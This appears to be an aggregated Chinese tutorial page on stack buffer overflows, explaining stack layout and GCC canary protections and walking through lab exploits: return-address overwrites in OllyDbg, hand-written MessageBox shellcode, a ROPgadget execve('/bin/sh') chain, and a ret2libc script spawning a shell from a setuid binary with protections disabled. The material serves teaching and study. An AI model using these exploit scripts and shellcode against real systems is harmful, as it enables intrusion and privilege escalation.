精华内容
下载资源
问答
  • 栈溢出漏洞

    2017-03-30 18:32:11
    湖湘杯2016网络安全技能大赛pwnme
  • 栈溢出漏洞及栈溢出攻击

    千次阅读 2017-03-13 16:38:14
    strcpy、sprintf 等不安全的函数,增加了栈溢出漏洞的可能。另一方面,因为栈上保存了函数的返回地址等信息,因此如果攻击者能任意覆盖栈上的数据,通常情况下就意味着他能修改程序的执行流程,从而造成更大的破坏...

    1. 栈溢出的原因

    栈溢出(stack-based buffer overflows)算是安全界常见的漏洞。一方面因为程序员的疏忽,使用了 strcpy、sprintf 等不安全的函数,增加了栈溢出漏洞的可能。另一方面,因为栈上保存了函数的返回地址等信息,因此如果攻击者能任意覆盖栈上的数据,通常情况下就意味着他能修改程序的执行流程,从而造成更大的破坏。这种攻击方法就是栈溢出攻击(stack smashing attacks)
            栈是从高地址到低地址增长的。 

    栈溢出攻击的原因是由于程序中缺少错误检测,另外对缓冲区的潜在操作(比如字符串的复制)都是从内存低址到高址,而函数调用的返回地址往往就在缓冲区的上方(当前栈底),这为我们覆盖返回地址提供了条件。下面是stack smashing attacks示意图:


        下面是一个存在栈溢出的DEMO:

             #include <stdio.h>
               #include <string.h>

               int bof(FILE *badfile){
                char buffer[20];
                fread(buffer, sizeof(char), 100, badfile); 
                return 1; 
              }

              int main(){
                FILE *badfile;
                badfile = fopen("badfile", "r");
                bof(badfile);

                printf("Returned Properly\n");
                fclose(badfile);
                return 0;
             }

             DEMO的逻辑很简单,就是从badfile文件中读取最长100字节的数据,然而buffer的长度只有20字节,所以这里是有可能发现栈溢出的。

    下面是在cygwin的环境下编译出来的汇编代码(我已经把一些对逻辑理解无关的细节去掉):

    _main:
    pushl %ebp
    movl %esp, %ebp
    andl $-16, %esp
    subl $32, %esp
    call ___main
    movl $LC0, 4(%esp)
    movl $LC1, (%esp)
    call _fopen
    movl %eax, 28(%esp)
    movl 28(%esp), %eax
    movl %eax, (%esp)
    call _bof
    movl $LC2, (%esp)
    call _puts
    movl 28(%esp), %eax
    movl %eax, (%esp)
    call _fclose
    movl $0, %eax
    leave
    ret

    _bof:
    pushl %ebp
    movl %esp, %ebp
    subl $56, %esp
    movl 8(%ebp), %eax
    movl %eax, 12(%esp)
    movl $100, 8(%esp)
    movl $1, 4(%esp)
    leal -28(%ebp), %eax
    movl %eax, (%esp)
    call _fread
    movl $1, %eax
    leave
    ret


           我们只关注从main进入bof以及bof执行完毕后返回main这个过程。
    • 在调用从call __fopen开始看,在进入__bof前,badfile地址已经入栈。
    • call _bof语句的作用则是把下一条指令(movl $LC2, (%esp))入栈,也就是_bof执行完毕后的返回地址
    • 在进入_bof后,第一时间把ebp入栈,ebp是当前栈底,用于恢复esp的。
           整个堆栈的内存布局如下所示:

           从分布图可以看到,系统实际分配给buffer的长度是28字节,接下来就是旧的栈底地址,bof返回地址和badfile地址。因此当badfile的内容长度是低于28字节的情况下,程序依然可以正常运行。但当badfile的内容长度超出28字节,就会直接把old EBP和ret address覆盖掉,这就达到了修改返回地址的目的了。


    2. 栈溢出漏洞的防护:

            stack smashing attacks并不是无敌的,其对抗技术就是DEP(Data Execution Prevention )ASLR(Address Space Layout Radomization),通过这两种技术的保护下Stack smashing attacks一定程度上揭制。

             DEP: 把stack 段设置为 不可执行。

             另一种针对stack smashing 的防护技术就是 : stack canary.


    2.1  stack canary


    要检测对函数栈的破坏,需要修改函数栈的组织,在缓冲区和控制信息(如 EBP 等)间插入一个 canary word。这样,当缓冲区被溢出时,在返回地址被覆盖之前 canary word 会首先被覆盖。通过检查 canary word 的值是否被修改,就可以判断是否发生了溢出攻击。


    3. GCC 中使用 stack canary 技术的堆栈保护:

    Stack Guard 是第一个使用 Canaries 探测的堆栈保护实现,它于 1997 年作为 GCC 的一个扩展发布。最初版本的 Stack Guard 使用 0x00000000 作为 canary word。尽管很多人建议把 Stack Guard 纳入 GCC,作为 GCC 的一部分来提供堆栈保护。但实际上,GCC 3.x 没有实现任何的堆栈保护。直到 GCC 4.1 堆栈保护才被加入,并且 GCC4.1 所采用的堆栈保护实现并非 Stack Guard,而是 Stack-smashing Protection(SSP,又称 ProPolice)。

    SSP 在 Stack Guard 的基础上进行了改进和提高。它是由 IBM 的工程师 Hiroaki Rtoh 开发并维护的。与 Stack Guard 相比,SSP 保护函数返回地址的同时还保护了栈中的 EBP 等信息。此外,SSP 还有意将局部变量中的数组放在函数栈的高地址,而将其他变量放在低地址。这样就使得通过溢出一个数组来修改其他变量(比如一个函数指针)变得更为困难。


    GCC与 stack 保护相关的编译选项:

    CC 4.1 中三个与堆栈保护有关的编译选项

    -fstack-protector:

    启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。

    -fstack-protector-all:

    启用堆栈保护,为所有函数插入保护代码。

    -fno-stack-protector:

    禁用堆栈保护。



             



    展开全文
  • [超详细]栈溢出漏洞原理实例讲解

    万次阅读 多人点赞 2019-05-03 16:32:19
    [超详细]通过实例讲解栈溢出漏洞 文章目录[超详细]通过实例讲解栈溢出漏洞代码简介分析程序整体执行流程程序执行细节及栈空间变化栈溢出通过栈溢出控制程序执行结果通过栈溢出插入代码 本篇文章通过《0day安全:软件...

    [超详细]栈溢出漏洞原理实例讲解


    本篇文章通过《0day安全:软件漏洞分析技术》书中第二章中所用到的一个程序的栈溢出漏洞的复现,以及使用OD一步步调试来学习栈溢出完整的原理。程序虽然简单,但在一些基础薄弱的人眼中还是无法理解,所以导致很多新手到了这里就被“劝退”。所以在这篇博客中我会差不多一句一句的解释汇编代码的意思,一步一步的看栈的变化,即使遇到一些“常识”我也会进行介绍,来帮助理解栈溢出漏洞

    使用软件:

    • vc++6.0 (用来编译程序)
    • OllyDbg
    • 十六进制编辑软件

    代码简介

    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    #define PASSWORD "1234567"  //写入静态密码
    
    int verify_password(char *password)//确认密码是否输入正确
    {
    	int authenticated;
    	char buffer[8];
    	authenticated=strcmp(password,PASSWORD);  
    	strcpy(buffer,password);  //存在栈溢出的函数
    	return authenticated;
    }
    
    void main()
    {
    	int valid_flag=0;
    	char password[1024];
    	scanf("%s",password); //输入密码
    	valid_flag=verify_password(password);
    	if(valid_flag) //返回0代表正确,返回1代表错误
    	{
    		printf("incorrect password!\n");
    	}
    	else
    	{
    		printf("success\n");
    	}
    	getchar();//暂停一下
    }
    

    运行结果如下:

    在这里插入图片描述

    在这里插入图片描述

    好,接下来开始演示栈溢出的原理。

    分析程序整体执行流程

    首先使用Debug编译器(最好不要使用release编译器),Debug和Release编译后的程序的区别就是,在调用一些系统函数的时候,Debug会保留调用点,而转去系统函数所在地继续执行;而Release会直接将系统函数粘贴过来,不用实现调用便可完成。使用Debug能更直观看出函数执行到了什么位置。使用OD打开编译好的.exe文件。

    在这里插入图片描述

    典型的VC编译的程序的样子,但程序的入口点并不是main函数的入口点,接下来我们要找到main函数,有两种方法:

    • 单步跟踪(F8),在遇到call调用的时候使用F7跳转到跟踪函数内部,直到进入(我们可以判断出是)main函数的地方,如:

      在这里插入图片描述

    • 根据“常识”,在GetCommandLineA后不远处就是main入口,在main之前会有(三个)连续的压栈操作,如:

    在这里插入图片描述

    找到main函数之后,F7跟进main函数里,继续分析:

    在这里插入图片描述

    如图所示,根据左侧ASCII码的提示,和代码中调用系统函数的名字,我们很轻易的找到了scanf函数的位置,按从右至左的顺序将参数(password就是[local.257]和“%s”)入栈之后调用scanf。中间的一段初始化代码为初始化申请的空间为0xcc,其中valid_flag(即[local.1],后面会说)要初始化为0。

    在这里插入图片描述

    根据接下来的ASCII码,可以判断在中间的调用语句call a.00401005就是verify_password函数的位置。

    之后F7继续跟进verify_password函数内部继续分析:

    在这里插入图片描述

    进入函数,首先看见的就是常规操作,将前栈基址入栈,抬高栈顶(给局部变量申请空间),之后可以看到在调用strcmp函数之前将他的两个参数从右至左入栈,静态值“1234567”是写在程序的数据段中的,另一个是参数password,在第一个(只有一个)参数即[arg.1]位置。strcmp执行结果在eax寄存器中,然后将结果赋值给变量authenticated,即第一个变量,就是[local.1]位置(图里不小心画到strcpy参数入栈里了)。然后进行strcpy函数的参数入栈,从右至左是password和buffer,buffer就是第二个参数(因为长度是8,所以[local.3]),将他们入栈之后调用strcpy,将password内容拷贝到buffer里。然后(进行清理栈空间操作后)返回。

    这里介绍一下汇编语言中的几个概念:

    函数的调用:

    调用函数之前先将参数依次入栈,然后调用,调用结束之后将入栈的参数出栈(清理栈空间),根据不同的调用约定,入栈的顺序不同。C语言默认的调用方式是__cdecl,参数从右到左入栈。更多关于调用约定可以百度。

    在函数刚被调用的时候通常会进行这样的操作:

    push ebp  //将上一个函数的栈基址(栈底)入栈
    move ebp,esp  //将目前的栈顶作为新函数栈的栈底
    sub esp,0xxx  //将栈顶抬高xx,目的是为这个函数中声明的局部变量申请空间
    

    然后会push几个寄存器就是保存状态,在函数return之前会pop恢复的。

    局部变量和参数的表示:根据局部变量在函数中声明的顺序,用[local.数字]来表示,[local.1]表示[EBP-4],声明的局部变量会放在之前抬高栈顶得到的空间中,所以这里[EBP -数字]只需根据局部变量的出现顺序和长度就可以推断出来(也就是说[local.2]不一定是第2个局部变量)。可[local.1]类似的是[arg.1]代表第一个参数也就是[EBP +8],调用函数之前会将函数的参数依次入栈(默认从右到左入栈),而由于[EBP+4]是调用函数前存入的返回地址,所以第一个参数是[EBP+8],这个也是根据顺序和长度简单判断就能确定指的是哪个参数,不过多赘述。

    程序执行细节及栈空间变化

    整个程序的执行流程上面已经进行演示了,下面按照函数的顺序讲解一下栈空间的变化。直接进入main函数,执行到此处:

    在这里插入图片描述

    可见刚刚将上一个栈基址入栈之后,直接将栈顶抬高了0x448,也就是申请了0x448(十进制1096)个字节,其中有1024个是我们申请的password字符串,还有一个int型的authenticated。看源代码中两个参数出现的位置,可以分析出,[local.1]是authenticated变量,[local.257]是password字符串([local.2]~[local.257]正好256*4 = 1024字节)。其他空间干啥用的不知道,现在也没必要知道。然后将ebx,esi,edi三个寄存器入栈,这里的入栈都是在抬高栈顶之后的操作,跟我们分析栈(中缓冲区)的结构没有什么关系,不多赘述。

    在这里插入图片描述

    在这里插入图片描述

    这段代码就是将刚申请的0x448*4的空间初始化成0xcc。然后将valid_flag初始化为0。

    在这里插入图片描述
    将scanf的两个参数%s和password(从右至左)入栈,然后调用scanf,然后到控制窗口输入。

    在这里插入图片描述

    输入“1234567”后,之后回到OD继续下一步,查看此时栈的状态:

    在这里插入图片描述

    0x31就是ASCII码“1”,00是字符串结束符,下面的C就是没用上的空间。验证一下,目前的EBP是:

    在这里插入图片描述
    [local.257]就是[ebp+257*4]正好是0x0012FB7C,刚刚的判断没有错,将栈拉倒最下面(地址最高,栈反向增长,由高地址向低地址增长):

    在这里插入图片描述

    可以看见这是authenticated变量,值为0,下面(前面带白色矩形框)的内存是上一个函数的栈区。

    在这里插入图片描述

    接下来的add esp操作是栈顶降低0x8,就是将刚刚的两个参数出栈,因为VC中的调用约定默认是__cdecl约定,在这个约定下由调用者管理栈空间,所以这里需要主函数自己清理用过的参数。然后接下来即将调用verify_password函数,将函数需要的参数password入栈。在调用之前我们将代码停在这个位置然后看一下栈和EIP寄存器的状态和栈顶状态,在进入verify_password函数:

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    可以看见在调用之前的状态,EIP指向下一调语句,就是call,在call执行的一瞬间EIP会变成call的下一条语(地址0x004010D5)句并且会被压栈,截不到图,文字叙述一下。之后我们跟踪进入verify_password函数内部,之后再看栈顶。

    在这里插入图片描述

    进入函数的一瞬间,栈顶多了一个地址,就是刚刚我们看见的0x004010B5,记住他的位置,然后继续看verify_password函数。

    在这里插入图片描述

    verify_password函数和main函数刚开始差不多,都是先将旧栈基址入栈,然后抬高栈顶,然后一些寄存器状态入栈,同样在抬高栈顶之后入栈,不过多分析。然后初始化缓冲区。注意这里抬高栈顶0x4c的空间,也就是76字节空间。我们只需知道[local.1]是authenticated,[local.3]是buffer(buffer长度8)就好。

    在这里插入图片描述

    然后将strcmp(字符串比较)函数的两个参数,分别是静态的“1234567”写在程序的数据段,就是a.0042601C和password(password也是主函数传给这个函数的第一个参数,表示为[arg.1])从右至左依次入栈。然后运行到执行完strcmp:

    在这里插入图片描述

    函数的执行结果会在eax中
    在这里插入图片描述
    0表示相等,如果输入>"1234567"会是0x1,反之小于是-1也就是0xffffffff(补码)。接下来就是清理用过的参数,然后将strcmp执行结果赋值给authenticated,即[local.1]。

    在这里插入图片描述

    然后进行最关键的部分,strcpy(字符串拷贝)函数,首先将函数用到的两个参数password([arg.1])和buffer([local.3])入栈,然后调用strcpy,之后看栈的空间变化,调用前:

    在这里插入图片描述

    调用strcpy后:

    在这里插入图片描述

    从上到下画方框的依次是buffer,authenticated,前EBP,函数返回地址。看到这里大家基本也就能够判断这里存在的栈溢出了,至于利用方法,在下面一节叙述。

    之后的内容就是清理用过的参数,然后将authenticated的值给eax作为返回值,然后恢复之前保存过的几个寄存器的状态,最后返回。

    在这里插入图片描述

    然后回到主函数,清理参数,获取返回值,根据返回值决定输出什么。整体流程就是这样。

    在这里插入图片描述

    栈溢出

    整个程序的执行流程上面已经进行非常细致的演示了,相信看完之后无论如何也有了很多种想法了吧。这里再简单赘述一下什么是栈溢出:栈溢出就是指栈中的(缓冲区)内容被写入了大于原本(申请的)大小的内容,导致多余的内容覆盖了缓冲区后面的其他地址空间内原有的内容,一张图:

    img

    这张图中是反过来的,是下面放的buff写入了大量的超过原有空间的A导致直接覆盖了buf后面的f函数帧结构和EBP还有EIP,只不过覆盖EIP的不是A而是攻击者构造的返回地址。更多关于栈溢出的原理性描述可以自己上网搜索,这里不过多赘述。

    回到我们的程序,栈溢出的位置就在strcpy函数这里,password是一个长度为1024的字符串,复制进入一个长度为8的缓冲区,只要我们输入的内容超过8(因为字符串后面会有结束符\0)就会覆盖其他数据。

    首先验证一下,这次在输入的时候输入20个字符串(正好覆盖到EIP)内容就是“12341234123412341234”

    在这里插入图片描述
    在这里插入图片描述
    运行正常时的栈:

    在这里插入图片描述

    可见,原返回地址的地方被最后一组“1234”覆盖了,之后再继续执行到rtn处就会报错:

    在这里插入图片描述

    报错的地址都和我们覆盖的一样,看来这次尝试成功证明了栈溢出漏洞的存在,并且找到了覆盖EIP的位置所在。

    通过栈溢出控制程序执行结果

    根据上一节找到的栈溢出漏洞,这里我们要完成一个挑战,就是输入一个非“1234567”的字符串,让程序输出“success”。

    第一种方法:

    我们首先输入一个不正确的密码"8888888"(7个8),来看一下strcpy之后的栈空间:

    在这里插入图片描述

    可以看见“7个8”之后正好是字符串结束符0x00,之后紧接着就是0x00000001中的最后一个字节01,也就是说只要我输入“8个8”那么结束符0x00就会覆盖01使authenticated变量从0x00000001变成0x00000000。这里为什么前一个变量的末尾值会直接覆盖后一个变量的末尾值是因为,0x00000001这个变量是倒着存在内存中的,而在栈窗口中显示也是倒着显示的(栈是高地址向低地址生长),所以看着就是正的,在数据窗口看是这样的(输入7个8):

    在这里插入图片描述

    输入8个8:

    在这里插入图片描述

    数据窗口中是从低地址到高地址显示的,可以看出,字符串buffer是从内存中读的,所以是正序,而0x00000001是来自寄存器eax所以是逆序。所以我们只要再多输一个字符,那么字符串结束符0x00就会覆盖0x01,而将authenticated变为0,那么最终就会输出“success”,现在执行到结束,成功覆盖并且输出了success。

    在这里插入图片描述

    当然这里如果输入的内容比“1234567”小,那么并不能用这种方式覆盖,因为小于“1234567”比较的结果是-1,也就是补码的0xffffffff,覆盖一个字节变为0并不能使整个值变为0。

    第二种方法:

    可否直接覆盖到返回地址到“输出success”的地方,也就是说我们要先找到输出success的位置。

    在这里插入图片描述

    也就是说,地址为0x004010d0的代码就是要输出success的所在了,那么我们要尝试将返回地址覆盖为0x004010d0。

    由于命令行中只能输入ASCII码,有些16进制值无法用ASCII码表示出来,需要稍微修改一下函数代码,把手动输入改为从文件输入,但修改之后刚找到的地址也会改变,不过已经很明显了,接下来再找到也不会很难,代码修改如下:

    
    void main()
    {
    	int valid_flag=0;
    	char password[1024];
    	FILE * fp;
    	if(!(fp=fopen("password.txt","rw+")))
    	{
    		exit(0);
    	}
    	fscanf(fp,"%s",password);
      //scanf("%s",password);
    	valid_flag=verify_password(password);
    	if(valid_flag)
    	{
    		printf("incorrect password!\n");
    	}
    	else
    	{
    		printf("success\n");
    	}
    	fclose(fp);
    	getchar();
    		getchar();
    }
    

    新的输出success的地址是0x0040fbaf:

    在这里插入图片描述

    之后我们将文件password.txt使用十六进制编辑器打开,构造20字节的内容,并且最后四字节是要覆盖的地址(反着写):

    在这里插入图片描述

    然后进入OD查看栈的覆盖情况,strcpy前:

    在这里插入图片描述

    strcpy后:

    在这里插入图片描述

    可见,栈中的返回地址成功的被修改了,之后继续运行,查看输出结果,rtn之后直接来到了这里:

    在这里插入图片描述

    输出了success:

    在这里插入图片描述

    之后继续运行会报一个错误,是因为我们覆盖过程中将原EBP也覆盖了,导致返回main之后找不到EBP,找不到EBP就会在返回的时候找不到之前的返回值,但这并不影响我们成功输出了success。

    通过栈溢出插入代码

    要进行代码植入,我们还要对目前代码进行修改:

    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    #include<windows.h>
    #define PASSWORD "1234567"
    
    int verify_password(char *password)
    {
    	int authenticated;
    	char buffer[60];
    	authenticated=strcmp(password,PASSWORD);
    	strcpy(buffer,password);
    	return authenticated;
    }
    
    
    void main()
    {
    	int valid_flag=0;
    	char password[1024];
    	FILE * fp;
    	LoadLibrary("user32.dll");
    	if(!(fp=fopen("password.txt","rw+")))
    	{
    		exit(0);
    	}
    	fscanf(fp,"%s",password);
    	valid_flag=verify_password(password);
    	if(valid_flag)
    	{
    		printf("incorrect password!\n");
    	}
    	else
    	{
    		printf("success\n");
    	}
    	fclose(fp);
    	getchar();
    }
    

    主要修改的地方是verify_password函数中buffer的空间由8改为了60,一遍我们在里面写入代码;在主函数中增加了一句 LoadLibrary("user32.dll");加载user32.dll模块,之后我们写入的代码要调用这里面的MessageBox函数。

    所以,我们要通过向栈中写入代码的方式,来让程序弹出一个消息窗(也就是说写入一个消息窗的代码并让它执行)。

    那么想要完成这个任务,我们要确定下面几件事:

    • MessageBox函数的调用方式
    • MessageBox函数的位置
    • 完成整个调用汇编代码的编写
    • 确定修改之后的程序的栈空间走向和EIP位置(即如何覆盖)

    那么首先确定MessageBox函数的调用方式,查阅资料后MessageBox一共有四个参数:

    int MessageBox(
    	HWND,//这个参数代表窗口所属,如果为NULL则代表不属于任何窗口
    	LPCTSTR,//这个参数代表消息框中显示内容的字符串
    	LPCTSTR,//这个参数代表消息标题显示内容的字符串
    	UINT//这个参数代表框的风格,NULL为默认
    )
    

    进一步了解我们知道,MessageBox函数是系统通过对中间两个字符创参数的类型(ASCII或UNICODE)来决定调用MessageBoxA或者是MessageBoxB,我们这里使用ASCII型字符创,那么我们可以直接去寻找MessageBoxA的地址,寻找方式如下:

    找到VC++6.0中Tools目录下的DEPENDS Walker工具,位置如下:

    在这里插入图片描述

    之后随便将一个“有窗口的软件”拖进工具,然后我们查找user32.dll中的MessageBoxA,找到user32.dll的基地址和MessageBoxA的偏移地址:

    在这里插入图片描述

    计算可得MessageBoxA的地址为:0x77d10000+0x000407ea=0x77d507ea。之后我们进行汇编编码(汇编代码可以在od中选择一块区域nop掉然后编写,会自动生成二进制格式):

          33DB          xor ebx,ebx   //这里是为了让ebx为0,因为有两个参数值是NULL并且字符创需要一个结束符,如果直接mov ebx,0会使二进制代码中出现0,在strcpy时会被认为字符创结束符而结束复制。所以使用这种方式。
          53            push ebx      //先入栈一个0作为窗口显示字符创的结束符
          68 6f50776e   push 0x6e77506f  //这两句是构造窗口显示的字符创,我们这里让窗口都显示“HelloPwn”
          68 48656c6c   push 0x6c6c6548
          8BC4          mov eax,esp    //字符串(字符串开始地址就是esp栈顶)给eax
          53            push ebx       //四个参数从右至左依次入栈
          50            push eax
          50            push eax
          53            push ebx
          B8 EA07d577   mov eax,0x77d507EA   //将MessageBoxA的地址给eax
          FFD0          call eax             //调用
    

    如果在整个过程中出现了00(一般是由于数字出现00造成的),那么我们应该换一种表达方法,如(上述代码中使用了xor指令也是可以的):

          B8 5b000400   mov eax,0x0004005b
          改为
          B8 6b101410   mov eax,0x1014106b
          2D 10101010   sub eax,0x10101010
    

    接下来我们确定栈空间,我们将6组“1234567890”写在文件中,然后在OD中查看,还是在执行完strcpy之后,查看栈空间,strcpy前:

    在这里插入图片描述

    strcpy后:

    在这里插入图片描述

    可见由于buffer总共只有60字节的空间,我们输入的长度为60的字符创沾满了buffer,然后第61个字符串结束符00覆盖了authenticated的最后一个字节01(和上面讲的原理一样),下面就是EBP和返回地址。所以我们需要做的就是在文件中构造如下的内容,即先写代码,然后用90(nop填充)在69~72字节处填写buffer的初始地址,用来覆盖返回值,直接返回到我们写的代码上执行,就是上图的0x0012fadc,构造的文件如下:

    在这里插入图片描述

    上面框是调用MessageBoxA的代码,一堆90之后是覆盖返回地址的地址,之后执行一下,成功弹窗,点击确定后程序会崩溃,如果没有成功弹窗,比如提示一些地址不可执行之类的,可以继续按照上面的调试方法,一步一步的看一下栈中的内容,返回地址是否完整覆盖,覆盖的返回地址是否是代码的起始地址等:

    在这里插入图片描述

    以上就是简单的栈溢出的详细讲解,关于更多内容,大家可以参考《0day安全,软件漏洞分析技术》这本书。

    展开全文
  • 使用ROP攻击利用栈溢出漏洞 环境:ubuntu16.04, gcc, python2.7 说明:为了成功实现Return2LibC攻击,这里关闭了可执行栈、关闭了StackGuard、关闭了地址随机化,终极目标是执行 system("/bin/sh") ⭐️⭐️注意⭐...

    使用ROP攻击利用栈溢出漏洞

    环境:ubuntu16.04, gcc, python2.7

    说明:为了成功实现Return2LibC攻击,这里关闭了可执行栈、关闭了StackGuard、关闭了地址随机化,终极目标是执行 system("/bin/sh")

    ⭐️⭐️注意⭐️⭐️:这是承接上一篇文章使用Return2LibC利用栈溢出漏洞的,栈溢出漏洞程序和上一篇相同

    1. 安装ROPgadget

    对于ubuntu16.04,默认安装了python2,只需要安装pip即可,然后再安装ROPgadget依赖capstone,就能顺利安装ROPgadget了,命令如下:

    sudoapt-get install python-pip  
    sudopip install capstone  
    sudopip install ROPgadget  
    

    2. 实现ROP攻击

    homework2测试程序来自这篇文章

    安装好之后就直接使用ROPgadget分析homework2,但是会提示Can’t find the ‘mov dword ptr[r32], r32’ gadget,说明缺少代码块,如下图所示。

    cDRDjx.png

    由于代码段太少了,我们进行静态编译,将库函数都直接编译进可执行文件中。

    gcc -fno-stack-protector -z noexecstack -static -o homework2 homework2.c    
    

    cDRqUg.png

    再使用ROPgadget分析一下测试程序,成功生成了gadget链

    cDRj8s.png

    生成了gadget链之后,我们还需要做一些padding,由上一次return2libc实验可以知道,想覆盖[esp+4]需要预先填充37个字节,于是padding后的代码如下:

    #/usr/bin/env python2
    # execve generated by ROPgadget
    from struct import pack
    # Padding goes here
    p = ''
    for i in range(37):
        p += pack('<B', 0xaa)
    p += pack('<I', 0x0806f1db) # pop edx ; ret
    p += pack('<I', 0x080eb060) # @ .data
    p += pack('<I', 0x080b8c86) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806f1db) # pop edx ; ret
    p += pack('<I', 0x080eb064) # @ .data + 4
    p += pack('<I', 0x080b8c86) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806f1db) # pop edx ; ret
    p += pack('<I', 0x080eb068) # @ .data + 8
    p += pack('<I', 0x080494a3) # xor eax, eax ; ret
    p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080eb060) # @ .data
    p += pack('<I', 0x080df505) # pop ecx ; ret
    p += pack('<I', 0x080eb068) # @ .data + 8
    p += pack('<I', 0x0806f1db) # pop edx ; ret
    p += pack('<I', 0x080eb068) # @ .data + 8
    p += pack('<I', 0x080494a3) # xor eax, eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0807ac96) # inc eax ; ret
    p += pack('<I', 0x0806cde5) # int 0x80
    badfile = open("badfile", "wb")
    badfile.write(p)
    badfile.close()
    

    运行上述脚本就能得到我们的badfile,如下图(注意使用python2执行)

    cDWuqK.png

    然后再运行测试程序,就成功实现了ROP攻击,获得了一个shell

    cDfCQI.png

    展开全文
  • 使用Return2LibC利用栈溢出漏洞 环境:ubuntu16.04, gcc, gdb, 说明:为了成功实现Return2LibC攻击,这里打开了可执行栈、关闭了StackGuard、关闭了地址随机化 1. 存在栈溢出漏洞的程序 如下就是我们的测试代码...

    使用Return2LibC利用栈溢出漏洞

    环境:ubuntu16.04, gcc, gdb,

    说明:为了成功实现Return2LibC攻击,这里关闭了可执行栈、关闭了StackGuard、关闭了地址随机化,终极目标是执行 system("/bin/sh")

    1. 存在栈溢出漏洞的程序

    如下就是我们的测试代码homework2.c,使用strcpy函数,但却没有判断字符串长度,存在栈溢出漏洞。

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int vulfunc(char *str)
    {
        char buffer[25];
        strcpy(buffer, str);
        return 1;
    }
    int main(){
        char str[500];
        FILE *badfile;
        badfile = fopen("badfile","r");
        fread(str, sizeof(char), 400, badfile);
        vulfunc(str);
        printf("Returned properly\n");
        fclose(badfile);
        return 0;
    }
    

    然后编译上述代码,关闭可执行栈、关闭StackGuard、关闭地址随机化

    gcc -fno-stack-protector -z noexecstack -g -o homework2 homework2.c  
    

    cDVbDA.png

    然后关闭地址随机化

    sudo sysctl -w kernel.randomize_va_space=0  
    

    cDZpvQ.png

    然后修改文件拥有者和文件属性,文件拥有者修改为root,文件属性设置为4755:① 文件所有者可读可写可执行;② 与文件所有者同属一个用户组的其他用户可读可执行;③ 其它用户组可读可执行;④ 其他用户执行文件时,具有与所有者相当的权限。

    sudo chown root homework2  
    sudo chmod 4755 homework2 
    

    cDZZCT.png

    2. 准备Return2LibC攻击所需地址信息

    首先需要找到两个libc函数,system和exit(system用于执行我们的恶意指令,exit用于正确退出程序),使用gdb调试程序,然后打印处这两个函数的地址,如下图所示,system函数位于0xb7e43da0,exit函数位于0xb7e379d0

    cDZWrj.png

    然后我们还需要找一个"/bin/sh"字符串,这就有很多方法(直接暴力搜索内存或者环境变量等等),这里使用环境变量。

    我们使用如下程序获得环境变量地址

    #include<stdio.h>
    int main(){
        char * shell = (char *)getenv("MYSHELL");
        if(shell){
            printf("  Value:   %s\n", shell);
            printf("  Address: %x\n", (unsigned int) shell);
        }
        return 1;
    }
    

    创建一个环境变量,并执行上述程序,可以看到地址为0xbffffe68,在我们运行homework2程序时可能并不是这个地址(可能和程序名称长度等等因素有关)

    cDe1yQ.png

    使用gdb调试测试程序,然后查看栈中内容,就能找到我们的环境变量,地址为0xbffffe58,这才是我们需要的地址。

    x /500s $esp  
    

    cDeRfK.png

    然后我们还需要找到需要覆盖的ret的位置(eip),我们向缓冲区覆盖连续的字节。然后查看eip的值即可,脚本如下:

    import sys
    
    # fill content with none zero values
    content = bytearray(0x01 for i in range(100));
    
    for i in range(100):
    	content[i] += i
    
    badfile = open("badfile", "wb")
    badfile.write(content)
    badfile.close()
    

    可以看到eip的低字节为0x26=38,也就是需要在缓冲第38个字节开始覆盖system地址

    cysEZD.png

    3. 进行Return2LibC攻击

    在函数调用过程中栈空间如下图所示

    cDmE1U.png

    我们使用缓冲区溢出漏洞,使用buffer变量覆盖栈空间,将返回地址填充为system函数,进入system函数后,其返回地址填充为exit函数地址,这样程序就能正常结束,再往上就填充system传入参数即可(即“/bin/sh”)

    cDmJje.png

    然后我们结合上述得到的地址信息,使用如下脚本就能得到恶意输入badfile

    import sys
    
    # fill content with none zero values
    content = bytearray(0xaa for i in range(300))
    # for i in range(100):
        # content[i] += i
    
    # address of "/bin/sh"
    a3 = 0xbffffe58
    # write to ebp+12
    content[45:49] = (a3).to_bytes(4, byteorder='little')
    
    # address of exit
    a2 = 0xb7e379d0
    # write to ebp+8
    content[41:45] = (a2).to_bytes(4, byteorder='little')
    
    # address of system
    a1 = 0xb7e43da0
    # write to ebp+4
    content[37:41] = (a1).to_bytes(4, byteorder='little')
    
    badfile = open("badfile", "wb")
    badfile.write(content)
    badfile.close()
    

    得到的badfile如下

    cDmogU.png

    然后我们使用gdb调试homework2程序,start开始程序(在main函数停下),然后c运行,可以看到我们成功运行了system(“./bin/sh”),得到了一个shell

    cDmHu4.png

    大功告成🙂

    展开全文
  • 这次笔者来复现一个比较经典的栈溢出漏洞:D-link dir-815 栈溢出。其实这个路由器的栈溢出漏洞的利用方式和之前 DVRF 靶机平台的栈溢出例子大同小异,只是需要注意下一些小的地方。 前言 这个栈溢出的原因是由于 ...
  • 简介前段时间 TP-LINK TL-WR841N 设备爆出了一个认证后的栈溢出漏洞,借机复现了一下这个栈溢出漏洞,其中有一些在漏洞利用上的小技巧在此和大家分享一下。漏洞信息如下:漏洞编号:CVE-2020-8423漏洞设备:TP-LINK ...
  • 修复Sudo缓冲区/栈溢出漏洞
